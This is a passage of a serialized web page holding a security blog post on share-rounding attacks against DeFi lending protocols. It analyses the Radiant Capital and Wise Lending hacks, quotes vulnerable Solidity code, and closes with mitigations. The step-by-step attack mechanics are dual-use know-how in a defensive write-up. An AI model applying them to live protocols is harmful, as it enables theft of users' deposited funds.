mitigations.",[7765],{"src":47942},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":47945,"toc":49079},[47946,47950,47978,47983,47996,48001,48007,48012,48017,48022,48027,48040,48052,48072,48092,48097,48102,48120,48126,48131,48137,48151,48164,48169,48175,48189,48194,48216,48449,48454,48459,48472,48712,48722,48727,48733,48738,48743,48776,48781,48792,48798,48803,48817,48945,48959,49035,49040,49051,49056,49061,49065,49070,49075],{"type":23,"tag":24,"props":47947,"children":47948},{"id":31069},[47949],{"type":29,"value":31072},{"type":23,"tag":32,"props":47951,"children":47952},{},[47953,47955,47962,47963,47970,47972,47977],{"type":29,"value":47954},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":68,"props":47956,"children":47959},{"href":47957,"rel":47958},"https://neodyme.io/de/blog/lending_disclosure",[72],[47960],{"type":29,"value":47961},"fast",{"type":29,"value":4367},{"type":23,"tag":68,"props":47964,"children":47967},{"href":47965,"rel":47966},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[72],[47968],{"type":29,"value":47969},"cheap",{"type":29,"value":47971}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":4321,"props":47973,"children":47974},{},[47975],{"type":29,"value":47976},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":357},{"type":23,"tag":32,"props":47979,"children":47980},{},[47981],{"type":29,"value":47982},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":139,"props":47984,"children":47985},{},[47986,47991],{"type":23,"tag":143,"props":47987,"children":47988},{},[47989],{"type":29,"value":47990},"Inflate share value (token to share conversion rate)",{"type":23,"tag":143,"props":47992,"children":47993},{},[47994],{"type":29,"value":47995},"Exploit rounding bug",{"type":23,"tag":32,"props":47997,"children":47998},{},[47999],{"type":29,"value":48000},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":24,"props":48002,"children":48004},{"id":48003},"model",[48005],{"type":29,"value":48006},"Model",{"type":23,"tag":32,"props":48008,"children":48009},{},[48010],{"type":29,"value":48011},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":32,"props":48013,"children":48014},{},[48015],{"type":29,"value":48016},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":32,"props":48018,"children":48019},{},[48020],{"type":29,"value":48021},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":32,"props":48023,"children":48024},{},[48025],{"type":29,"value":48026},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":32,"props":48028,"children":48029},{},[48030,48032,48038],{"type":29,"value":48031},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":154,"props":48033,"children":48035},{"className":48034},[],[48036],{"type":29,"value":48037},"1000:1000",{"type":29,"value":48039}," (1000 tokens to 1000 shares).",{"type":23,"tag":32,"props":48041,"children":48042},{},[48043,48045,48051],{"type":29,"value":48044},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":154,"props":48046,"children":48048},{"className":48047},[],[48049],{"type":29,"value":48050},"1001:1000",{"type":29,"value":357},{"type":23,"tag":32,"props":48053,"children":48054},{},[48055,48057,48063,48065,48070],{"type":29,"value":48056},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":154,"props":48058,"children":48060},{"className":48059},[],[48061],{"type":29,"value":48062},"1001/1000*999 = 999.999",{"type":29,"value":48064},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":4321,"props":48066,"children":48067},{},[48068],{"type":29,"value":48069},"down",{"type":29,"value":48071}," against the user.",{"type":23,"tag":32,"props":48073,"children":48074},{},[48075,48077,48083,48085,48091],{"type":29,"value":48076},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":154,"props":48078,"children":48080},{"className":48079},[],[48081],{"type":29,"value":48082},"2:1",{"type":29,"value":48084},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":154,"props":48086,"children":48088},{"className":48087},[],[48089],{"type":29,"value":48090},"3:1",{"type":29,"value":357},{"type":23,"tag":32,"props":48093,"children":48094},{},[48095],{"type":29,"value":48096},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":32,"props":48098,"children":48099},{},[48100],{"type":29,"value":48101},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":139,"props":48103,"children":48104},{},[48105,48110,48115],{"type":23,"tag":143,"props":48106,"children":48107},{},[48108],{"type":29,"value":48109},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":143,"props":48111,"children":48112},{},[48113],{"type":29,"value":48114},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":143,"props":48116,"children":48117},{},[48118],{"type":29,"value":48119},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":24,"props":48121,"children":48123},{"id":48122},"decisions",[48124],{"type":29,"value":48125},"Decisions",{"type":23,"tag":32,"props":48127,"children":48128},{},[48129],{"type":29,"value":48130},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":320,"props":48132,"children":48134},{"id":48133},"radiant-capital",[48135],{"type":29,"value":48136},"Radiant Capital",{"type":23,"tag":32,"props":48138,"children":48139},{},[48140,48142,48149],{"type":29,"value":48141},"Radiant Capital was ",{"type":23,"tag":68,"props":48143,"children":48146},{"href":48144,"rel":48145},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[72],[48147],{"type":29,"value":48148},"hacked on Jan 2nd",{"type":29,"value":48150}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":32,"props":48152,"children":48153},{},[48154,48156,48163],{"type":29,"value":48155},"The exploit is relatively straightforward and ",{"type":23,"tag":68,"props":48157,"children":48160},{"href":48158,"rel":48159},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[72],[48161],{"type":29,"value":48162},"has already been covered previously",{"type":29,"value":357},{"type":23,"tag":32,"props":48165,"children":48166},{},[48167],{"type":29,"value":48168},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":320,"props":48170,"children":48172},{"id":48171},"wise-lending",[48173],{"type":29,"value":48174},"Wise Lending",{"type":23,"tag":32,"props":48176,"children":48177},{},[48178,48180,48187],{"type":29,"value":48179},"Wise Lending was ",{"type":23,"tag":68,"props":48181,"children":48184},{"href":48182,"rel":48183},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[72],[48185],{"type":29,"value":48186},"hacked on January 13th",{"type":29,"value":48188}," for just under $460,000.",{"type":23,"tag":32,"props":48190,"children":48191},{},[48192],{"type":29,"value":48193},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":32,"props":48195,"children":48196},{},[48197,48199,48206,48208,48215],{"type":29,"value":48198},"This is ",{"type":23,"tag":68,"props":48200,"children":48203},{"href":48201,"rel":48202},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[72],[48204],{"type":29,"value":48205},"the code responsible",{"type":29,"value":48207}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":68,"props":48209,"children":48212},{"href":48210,"rel":48211},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[72],[48213],{"type":29,"value":48214},"no way to atomically self-bankrupt",{"type":29,"value":357},{"type":23,"tag":4743,"props":48217,"children":48219},{"className":6516,"code":48218,"language":6515,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[48220],{"type":23,"tag":154,"props":48221,"children":48222},{"__ignoreMap":7},[48223,48254,48262,48270,48277,48299,48312,48319,48340,48370,48382,48394,48401,48425,48442],{"type":23,"tag":504,"props":48224,"children":48225},{"class":5016,"line":5017},[48226,48231,48236,48240,48245,48250],{"type":23,"tag":504,"props":48227,"children":48228},{"style":5467},[48229],{"type":29,"value":48230},"uint256",{"type":23,"tag":504,"props":48232,"children":48233},{"style":5058},[48234],{"type":29,"value":48235}," withdrawValue ",{"type":23,"tag":504,"props":48237,"children":48238},{"style":5047},[48239],{"type":29,"value":546},{"type":23,"tag":504,"props":48241,"children":48242},{"style":5058},[48243],{"type":29,"value":48244}," WISE_ORACLE.",{"type":23,"tag":504,"props":48246,"children":48247},{"style":5139},[48248],{"type":29,"value":48249},"getTokensInETH",{"type":23,"tag":504,"props":48251,"children":48252},{"style":5058},[48253],{"type":29,"value":5512},{"type":23,"tag":504,"props":48255,"children":48256},{"class":5016,"line":4868},[48257],{"type":23,"tag":504,"props":48258,"children":48259},{"style":5058},[48260],{"type":29,"value":48261},"    _poolToken,\n",{"type":23,"tag":504,"props":48263,"children":48264},{"class":5016,"line":4876},[48265],{"type":23,"tag":504,"props":48266,"children":48267},{"style":5058},[48268],{"type":29,"value":48269},"    _amount\n",{"type":23,"tag":504,"props":48271,"children":48272},{"class":5016,"line":5099},[48273],{"type":23,"tag":504,"props":48274,"children":48275},{"style":5058},[48276],{"type":29,"value":5200},{"type":23,"tag":504,"props":48278,"children":48279},{"class":5016,"line":5203},[48280,48284,48289,48294],{"type":23,"tag":504,"props":48281,"children":48282},{"style":5047},[48283],{"type":29,"value":19610},{"type":23,"tag":504,"props":48285,"children":48286},{"style":5058},[48287],{"type":29,"value":48288}," WISE_LENDING.",{"type":23,"tag":504,"props":48290,"children":48291},{"style":5139},[48292],{"type":29,"value":48293},"lendingPoolData",{"type":23,"tag":504,"props":48295,"children":48296},{"style":5058},[48297],{"type":29,"value":48298},"(_poolToken).collateralFactor\n",{"type":23,"tag":504,"props":48300,"children":48301},{"class":5016,"line":5308},[48302,48307],{"type":23,"tag":504,"props":48303,"children":48304},{"style":5047},[48305],{"type":29,"value":48306},"    /",{"type":23,"tag":504,"props":48308,"children":48309},{"style":5058},[48310],{"type":29,"value":48311}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":504,"props":48313,"children":48314},{"class":5016,"line":5336},[48315],{"type":23,"tag":504,"props":48316,"children":48317},{"emptyLinePlaceholder":15},[48318],{"type":29,"value":5734},{"type":23,"tag":504,"props":48320,"children":48321},{"class":5016,"line":5349},[48322,48326,48331,48335],{"type":23,"tag":504,"props":48323,"children":48324},{"style":5467},[48325],{"type":29,"value":31740},{"type":23,"tag":504,"props":48327,"children":48328},{"style":5058},[48329],{"type":29,"value":48330}," state ",{"type":23,"tag":504,"props":48332,"children":48333},{"style":5047},[48334],{"type":29,"value":546},{"type":23,"tag":504,"props":48336,"children":48337},{"style":5058},[48338],{"type":29,"value":48339}," borrowPercentageCap\n",{"type":23,"tag":504,"props":48341,"children":48342},{"class":5016,"line":5367},[48343,48347,48351,48356,48361,48365],{"type":23,"tag":504,"props":48344,"children":48345},{"style":5047},[48346],{"type":29,"value":19610},{"type":23,"tag":504,"props":48348,"children":48349},{"style":5058},[48350],{"type":29,"value":5110},{"type":23,"tag":504,"props":48352,"children":48353},{"style":5139},[48354],{"type":29,"value":48355},"overallETHCollateralsWeighted",{"type":23,"tag":504,"props":48357,"children":48358},{"style":5058},[48359],{"type":29,"value":48360},"(_nftId) ",{"type":23,"tag":504,"props":48362,"children":48363},{"style":5047},[48364],{"type":29,"value":6368},{"type":23,"tag":504,"props":48366,"children":48367},{"style":5058},[48368],{"type":29,"value":48369}," withdrawValue)\n",{"type":23,"tag":504,"props":48371,"children":48372},{"class":5016,"line":5388},[48373,48377],{"type":23,"tag":504,"props":48374,"children":48375},{"style":5047},[48376],{"type":29,"value":48306},{"type":23,"tag":504,"props":48378,"children":48379},{"style":5058},[48380],{"type":29,"value":48381}," PRECISION_FACTOR_E18\n",{"type":23,"tag":504,"props":48383,"children":48384},{"class":5016,"line":5397},[48385,48389],{"type":23,"tag":504,"props":48386,"children":48387},{"style":5047},[48388],{"type":29,"value":34501},{"type":23,"tag":504,"props":48390,"children":48391},{"style":5058},[48392],{"type":29,"value":48393}," borrowAmount;\n",{"type":23,"tag":504,"props":48395,"children":48396},{"class":5016,"line":5649},[48397],{"type":23,"tag":504,"props":48398,"children":48399},{"emptyLinePlaceholder":15},[48400],{"type":29,"value":5734},{"type":23,"tag":504,"props":48402,"children":48403},{"class":5016,"line":5666},[48404,48408,48413,48417,48421],{"type":23,"tag":504,"props":48405,"children":48406},{"style":5067},[48407],{"type":29,"value":17626},{"type":23,"tag":504,"props":48409,"children":48410},{"style":5058},[48411],{"type":29,"value":48412}," (state ",{"type":23,"tag":504,"props":48414,"children":48415},{"style":5047},[48416],{"type":29,"value":1224},{"type":23,"tag":504,"props":48418,"children":48419},{"style":5030},[48420],{"type":29,"value":14515},{"type":23,"tag":504,"props":48422,"children":48423},{"style":5058},[48424],{"type":29,"value":16850},{"type":23,"tag":504,"props":48426,"children":48427},{"class":5016,"line":5683},[48428,48433,48438],{"type":23,"tag":504,"props":48429,"children":48430},{"style":5067},[48431],{"type":29,"value":48432},"    revert",{"type":23,"tag":504,"props":48434,"children":48435},{"style":5139},[48436],{"type":29,"value":48437}," ResultsInBadDebt",{"type":23,"tag":504,"props":48439,"children":48440},{"style":5058},[48441],{"type":29,"value":5725},{"type":23,"tag":504,"props":48443,"children":48444},{"class":5016,"line":5696},[48445],{"type":23,"tag":504,"props":48446,"children":48447},{"style":5058},[48448],{"type":29,"value":5965},{"type":23,"tag":32,"props":48450,"children":48451},{},[48452],{"type":29,"value":48453},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":32,"props":48455,"children":48456},{},[48457],{"type":29,"value":48458},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":32,"props":48460,"children":48461},{},[48462,48464,48470],{"type":29,"value":48463},"And indeed, ",{"type":23,"tag":68,"props":48465,"children":48468},{"href":48466,"rel":48467},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[72],[48469],{"type":29,"value":48174},{"type":29,"value":48471}," rounds up the share value.",{"type":23,"tag":4743,"props":48473,"children":48475},{"className":6516,"code":48474,"language":6515,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[48476],{"type":23,"tag":154,"props":48477,"children":48478},{"__ignoreMap":7},[48479,48495,48512,48528,48541,48548,48556,48564,48584,48591,48612,48633,48655,48684,48705],{"type":23,"tag":504,"props":48480,"children":48481},{"class":5016,"line":5017},[48482,48486,48491],{"type":23,"tag":504,"props":48483,"children":48484},{"style":5030},[48485],{"type":29,"value":33432},{"type":23,"tag":504,"props":48487,"children":48488},{"style":5139},[48489],{"type":29,"value":48490}," _calculateShares",{"type":23,"tag":504,"props":48492,"children":48493},{"style":5058},[48494],{"type":29,"value":5512},{"type":23,"tag":504,"props":48496,"children":48497},{"class":5016,"line":4868},[48498,48503,48508],{"type":23,"tag":504,"props":48499,"children":48500},{"style":5467},[48501],{"type":29,"value":48502},"    uint256",{"type":23,"tag":504,"props":48504,"children":48505},{"style":5041},[48506],{"type":29,"value":48507}," _product",{"type":23,"tag":504,"props":48509,"children":48510},{"style":5058},[48511],{"type":29,"value":5557},{"type":23,"tag":504,"props":48513,"children":48514},{"class":5016,"line":4876},[48515,48519,48524],{"type":23,"tag":504,"props":48516,"children":48517},{"style":5467},[48518],{"type":29,"value":48502},{"type":23,"tag":504,"props":48520,"children":48521},{"style":5041},[48522],{"type":29,"value":48523}," _pseudo",{"type":23,"tag":504,"props":48525,"children":48526},{"style":5058},[48527],{"type":29,"value":5557},{"type":23,"tag":504,"props":48529,"children":48530},{"class":5016,"line":5099},[48531,48536],{"type":23,"tag":504,"props":48532,"children":48533},{"style":5467},[48534],{"type":29,"value":48535},"    bool",{"type":23,"tag":504,"props":48537,"children":48538},{"style":5041},[48539],{"type":29,"value":48540}," _maxSharePrice\n",{"type":23,"tag":504,"props":48542,"children":48543},{"class":5016,"line":5203},[48544],{"type":23,"tag":504,"props":48545,"children":48546},{"style":5058},[48547],{"type":29,"value":5200},{"type":23,"tag":504,"props":48549,"children":48550},{"class":5016,"line":5308},[48551],{"type":23,"tag":504,"props":48552,"children":48553},{"style":5030},[48554],{"type":29,"value":48555},"    private\n",{"type":23,"tag":504,"props":48557,"children":48558},{"class":5016,"line":5336},[48559],{"type":23,"tag":504,"props":48560,"children":48561},{"style":5030},[48562],{"type":29,"value":48563},"    pure\n",{"type":23,"tag":504,"props":48565,"children":48566},{"class":5016,"line":5349},[48567,48572,48576,48580],{"type":23,"tag":504,"props":48568,"children":48569},{"style":5067},[48570],{"type":29,"value":48571},"    returns",{"type":23,"tag":504,"props":48573,"children":48574},{"style":5058},[48575],{"type":29,"value":5110},{"type":23,"tag":504,"props":48577,"children":48578},{"style":5467},[48579],{"type":29,"value":48230},{"type":23,"tag":504,"props":48581,"children":48582},{"style":5058},[48583],{"type":29,"value":5200},{"type":23,"tag":504,"props":48585,"children":48586},{"class":5016,"line":5367},[48587],{"type":23,"tag":504,"props":48588,"children":48589},{"style":5058},[48590],{"type":29,"value":12926},{"type":23,"tag":504,"props":48592,"children":48593},{"class":5016,"line":5388},[48594,48598,48603,48607],{"type":23,"tag":504,"props":48595,"children":48596},{"style":5067},[48597],{"type":29,"value":19037},{"type":23,"tag":504,"props":48599,"children":48600},{"style":5058},[48601],{"type":29,"value":48602}," _maxSharePrice ",{"type":23,"tag":504,"props":48604,"children":48605},{"style":5047},[48606],{"type":29,"value":1224},{"type":23,"tag":504,"props":48608,"children":48609},{"style":5030},[48610],{"type":29,"value":48611}," true\n",{"type":23,"tag":504,"props":48613,"children":48614},{"class":5016,"line":5397},[48615,48620,48625,48629],{"type":23,"tag":504,"props":48616,"children":48617},{"style":5047},[48618],{"type":29,"value":48619},"        ?",{"type":23,"tag":504,"props":48621,"children":48622},{"style":5058},[48623],{"type":29,"value":48624}," _product % _pseudo ",{"type":23,"tag":504,"props":48626,"children":48627},{"style":5047},[48628],{"type":29,"value":1224},{"type":23,"tag":504,"props":48630,"children":48631},{"style":5083},[48632],{"type":29,"value":26331},{"type":23,"tag":504,"props":48634,"children":48635},{"class":5016,"line":5649},[48636,48641,48646,48650],{"type":23,"tag":504,"props":48637,"children":48638},{"style":5047},[48639],{"type":29,"value":48640},"            ?",{"type":23,"tag":504,"props":48642,"children":48643},{"style":5058},[48644],{"type":29,"value":48645}," _product ",{"type":23,"tag":504,"props":48647,"children":48648},{"style":5047},[48649],{"type":29,"value":6623},{"type":23,"tag":504,"props":48651,"children":48652},{"style":5058},[48653],{"type":29,"value":48654}," _pseudo\n",{"type":23,"tag":504,"props":48656,"children":48657},{"class":5016,"line":5666},[48658,48663,48667,48671,48676,48680],{"type":23,"tag":504,"props":48659,"children":48660},{"style":5047},[48661],{"type":29,"value":48662},"            :",{"type":23,"tag":504,"props":48664,"children":48665},{"style":5058},[48666],{"type":29,"value":48645},{"type":23,"tag":504,"props":48668,"children":48669},{"style":5047},[48670],{"type":29,"value":6623},{"type":23,"tag":504,"props":48672,"children":48673},{"style":5058},[48674],{"type":29,"value":48675}," _pseudo ",{"type":23,"tag":504,"props":48677,"children":48678},{"style":5047},[48679],{"type":29,"value":6422},{"type":23,"tag":504,"props":48681,"children":48682},{"style":5083},[48683],{"type":29,"value":21494},{"type":23,"tag":504,"props":48685,"children":48686},{"class":5016,"line":5683},[48687,48692,48696,48700],{"type":23,"tag":504,"props":48688,"children":48689},{"style":5047},[48690],{"type":29,"value":48691},"        :",{"type":23,"tag":504,"props":48693,"children":48694},{"style":5058},[48695],{"type":29,"value":48645},{"type":23,"tag":504,"props":48697,"children":48698},{"style":5047},[48699],{"type":29,"value":6623},{"type":23,"tag":504,"props":48701,"children":48702},{"style":5058},[48703],{"type":29,"value":48704}," _pseudo;\n",{"type":23,"tag":504,"props":48706,"children":48707},{"class":5016,"line":5696},[48708],{"type":23,"tag":504,"props":48709,"children":48710},{"style":5058},[48711],{"type":29,"value":5965},{"type":23,"tag":32,"props":48713,"children":48714},{},[48715,48720],{"type":23,"tag":4321,"props":48716,"children":48717},{},[48718],{"type":29,"value":48719},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":48721},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":32,"props":48723,"children":48724},{},[48725],{"type":29,"value":48726},"This is a really tricky invariant to reason about!",{"type":23,"tag":24,"props":48728,"children":48730},{"id":48729},"root-cause",[48731],{"type":29,"value":48732},"Root Cause",{"type":23,"tag":32,"props":48734,"children":48735},{},[48736],{"type":29,"value":48737},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":32,"props":48739,"children":48740},{},[48741],{"type":29,"value":48742},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":4743,"props":48744,"children":48746},{"className":6516,"code":48745,"language":6515,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[48747],{"type":23,"tag":154,"props":48748,"children":48749},{"__ignoreMap":7},[48750],{"type":23,"tag":504,"props":48751,"children":48752},{"class":5016,"line":5017},[48753,48758,48762,48767,48771],{"type":23,"tag":504,"props":48754,"children":48755},{"style":5058},[48756],{"type":29,"value":48757},"totalDepositShares ",{"type":23,"tag":504,"props":48759,"children":48760},{"style":5047},[48761],{"type":29,"value":6613},{"type":23,"tag":504,"props":48763,"children":48764},{"style":5058},[48765],{"type":29,"value":48766}," _amount ",{"type":23,"tag":504,"props":48768,"children":48769},{"style":5047},[48770],{"type":29,"value":6623},{"type":23,"tag":504,"props":48772,"children":48773},{"style":5058},[48774],{"type":29,"value":48775}," pseudoTotalPool\n",{"type":23,"tag":32,"props":48777,"children":48778},{},[48779],{"type":29,"value":48780},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":32,"props":48782,"children":48783},{},[48784,48786,48790],{"type":29,"value":48785},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":4321,"props":48787,"children":48788},{},[48789],{"type":29,"value":21969},{"type":29,"value":48791}," integer division?",{"type":23,"tag":24,"props":48793,"children":48795},{"id":48794},"mitigations",[48796],{"type":29,"value":48797},"Mitigations",{"type":23,"tag":32,"props":48799,"children":48800},{},[48801],{"type":29,"value":48802},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":32,"props":48804,"children":48805},{},[48806,48808,48815],{"type":29,"value":48807},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":68,"props":48809,"children":48812},{"href":48810,"rel":48811},"https://twitter.com/danielvf/status/1746306320553152615",[72],[48813],{"type":29,"value":48814},"@danielvf notes",{"type":29,"value":48816},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":4743,"props":48818,"children":48820},{"className":6516,"code":48819,"language":6515,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[48821],{"type":23,"tag":154,"props":48822,"children":48823},{"__ignoreMap":7},[48824,48848,48895,48929],{"type":23,"tag":504,"props":48825,"children":48826},{"class":5016,"line":5017},[48827,48831,48836,48840,48844],{"type":23,"tag":504,"props":48828,"children":48829},{"style":5067},[48830],{"type":29,"value":17626},{"type":23,"tag":504,"props":48832,"children":48833},{"style":5058},[48834],{"type":29,"value":48835}," (_totalSupply ",{"type":23,"tag":504,"props":48837,"children":48838},{"style":5047},[48839],{"type":29,"value":1224},{"type":23,"tag":504,"props":48841,"children":48842},{"style":5083},[48843],{"type":29,"value":5086},{"type":23,"tag":504,"props":48845,"children":48846},{"style":5058},[48847],{"type":29,"value":16850},{"type":23,"tag":504,"props":48849,"children":48850},{"class":5016,"line":4868},[48851,48856,48860,48865,48870,48875,48880,48885,48890],{"type":23,"tag":504,"props":48852,"children":48853},{"style":5058},[48854],{"type":29,"value":48855},"    liquidity ",{"type":23,"tag":504,"props":48857,"children":48858},{"style":5047},[48859],{"type":29,"value":546},{"type":23,"tag":504,"props":48861,"children":48862},{"style":5058},[48863],{"type":29,"value":48864}," Math.",{"type":23,"tag":504,"props":48866,"children":48867},{"style":5139},[48868],{"type":29,"value":48869},"sqrt",{"type":23,"tag":504,"props":48871,"children":48872},{"style":5058},[48873],{"type":29,"value":48874},"(amount0.",{"type":23,"tag":504,"props":48876,"children":48877},{"style":5139},[48878],{"type":29,"value":48879},"mul",{"type":23,"tag":504,"props":48881,"children":48882},{"style":5058},[48883],{"type":29,"value":48884},"(amount1)).",{"type":23,"tag":504,"props":48886,"children":48887},{"style":5139},[48888],{"type":29,"value":48889},"sub",{"type":23,"tag":504,"props":48891,"children":48892},{"style":5058},[48893],{"type":29,"value":48894},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":504,"props":48896,"children":48897},{"class":5016,"line":4876},[48898,48903,48907,48911,48915,48919,48924],{"type":23,"tag":504,"props":48899,"children":48900},{"style":5139},[48901],{"type":29,"value":48902},"   _mint",{"type":23,"tag":504,"props":48904,"children":48905},{"style":5058},[48906],{"type":29,"value":603},{"type":23,"tag":504,"props":48908,"children":48909},{"style":5467},[48910],{"type":29,"value":34696},{"type":23,"tag":504,"props":48912,"children":48913},{"style":5058},[48914],{"type":29,"value":603},{"type":23,"tag":504,"props":48916,"children":48917},{"style":5083},[48918],{"type":29,"value":708},{"type":23,"tag":504,"props":48920,"children":48921},{"style":5058},[48922],{"type":29,"value":48923},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":504,"props":48925,"children":48926},{"style":5021},[48927],{"type":29,"value":48928},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":504,"props":48930,"children":48931},{"class":5016,"line":5099},[48932,48937,48941],{"type":23,"tag":504,"props":48933,"children":48934},{"style":5058},[48935],{"type":29,"value":48936},"} ",{"type":23,"tag":504,"props":48938,"children":48939},{"style":5067},[48940],{"type":29,"value":5360},{"type":23,"tag":504,"props":48942,"children":48943},{"style":5058},[48944],{"type":29,"value":5333},{"type":23,"tag":32,"props":48946,"children":48947},{},[48948,48950,48957],{"type":29,"value":48949},"Alternatively, ",{"type":23,"tag":68,"props":48951,"children":48954},{"href":48952,"rel":48953},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[72],[48955],{"type":29,"value":48956},"storing the conversion rate separately",{"type":29,"value":48958}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":4743,"props":48960,"children":48962},{"className":6516,"code":48961,"language":6515,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[48963],{"type":23,"tag":154,"props":48964,"children":48965},{"__ignoreMap":7},[48966,49001],{"type":23,"tag":504,"props":48967,"children":48968},{"class":5016,"line":5017},[48969,48974,48978,48983,48987,48992,48996],{"type":23,"tag":504,"props":48970,"children":48971},{"style":5058},[48972],{"type":29,"value":48973},"accrualIndices.borrowed ",{"type":23,"tag":504,"props":48975,"children":48976},{"style":5047},[48977],{"type":29,"value":546},{"type":23,"tag":504,"props":48979,"children":48980},{"style":5058},[48981],{"type":29,"value":48982}," accrualIndices.borrowed ",{"type":23,"tag":504,"props":48984,"children":48985},{"style":5047},[48986],{"type":29,"value":6613},{"type":23,"tag":504,"props":48988,"children":48989},{"style":5058},[48990],{"type":29,"value":48991}," borrowInterestFactor ",{"type":23,"tag":504,"props":48993,"children":48994},{"style":5047},[48995],{"type":29,"value":6623},{"type":23,"tag":504,"props":48997,"children":48998},{"style":5058},[48999],{"type":29,"value":49000}," 